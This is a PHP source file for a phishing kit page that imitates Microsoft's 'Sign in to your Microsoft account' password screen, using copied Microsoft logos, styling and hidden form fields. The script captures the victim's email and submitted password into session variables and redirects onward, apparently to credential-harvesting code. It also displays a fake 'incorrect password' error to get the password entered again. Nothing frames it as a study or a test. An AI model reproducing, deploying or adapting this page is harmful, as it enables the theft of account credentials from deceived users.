<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

require_once __DIR__ . '/../../core/functions.php';
require_once __DIR__ . '/../../helper/DeviceHelper.php';

$ip = getUserIP();
$random = substr(sha1(mt_rand()), 1, 25);
$hasError = false;
$email = '';

if (isset($_SESSION['username']) && !empty($_SESSION['username'])) {
    $email = $_SESSION['username'];
} elseif (isset($_GET['email']) && !empty($_GET['email'])) {
    $email = $_GET['email'];
    $_SESSION['username'] = $email;
} elseif (isset($_POST['email']) && !empty($_POST['email'])) {
    $email = $_POST['email'];
    $_SESSION['username'] = $email;
}

if (empty($email)) {
    redirectWithDeviceParam("signin", ['error' => 'no_email']);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    $email = trim($_POST['email']);
    $password = trim($_POST['password']);
    
    if (!empty($email) && !empty($password)) {
        $_SESSION['username'] = $email;
        $_SESSION['passwordlogin'] = $password;
        
        redirectWithDeviceParam("", ['action' => 'login']);
        exit;
    } else {
        $hasError = true;
    }
}

if (isset($_GET['error']) && ($_GET['error'] == true || $_GET['error'] == 'true')) {
    $hasError = true;
}
?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="../assets/ms/assets/css/hotmail.css">
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <div>
            <div class="background" style="background-image: url('../assets/ms/assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft">
                        </div>

                        <div role="main">
                            <div>
                                <div>
                                    <div class="identityBanner">
                                        <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?php echo htmlspecialchars($email); ?>">
                                            <?php echo htmlspecialchars($email); ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="pagination-view has-identity-banner">
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Enter password</div>
                                    <?php if ($hasError) { ?>
                                    <p style="color: red;">Your account or password is incorrect.</p>
                                    <?php } ?>
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                            </div>
                                            <div class="placeholderContainer">
                                                <input type="hidden" name="email" value="<?php echo htmlspecialchars($email); ?>">
                                                <input name="password" required="required" type="password" id="i0118" autocomplete="off" class="form-control" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" placeholder="Password" aria-label="Enter the password for <?php echo htmlspecialchars($email); ?>" autofocus>
                                                <input type="hidden" name="wa" value="wsignin1.0">
                                                <input type="hidden" name="rpsnv" value="13">
                                                <input type="hidden" name="rver" value="7.0.6737.0">
                                                <input type="hidden" name="wp" value="MBI_SSL">
                                                <input type="hidden" name="login" value="1.0">
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div>
                                            <div class="row">
                                                <div class="col-md-24">
                                                    <div class="text-13 action-links">
                                                        <div class="form-group"> 
                                                            <a id="idA_PWD_ForgotPassword" role="link" href="#" data-bind="text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick">Forgot password?</a> 
                                                        </div>
                                                        <div class="form-group"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <div class="inline-block">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Sign in">
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }" style="background: transparent;">
                <div>
                    <div id="footerLinks" class="footerNode text-secondary">
                        <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </form>
    </div>
    
    <div>
        <!--  -->
    </div>
</body>
</html>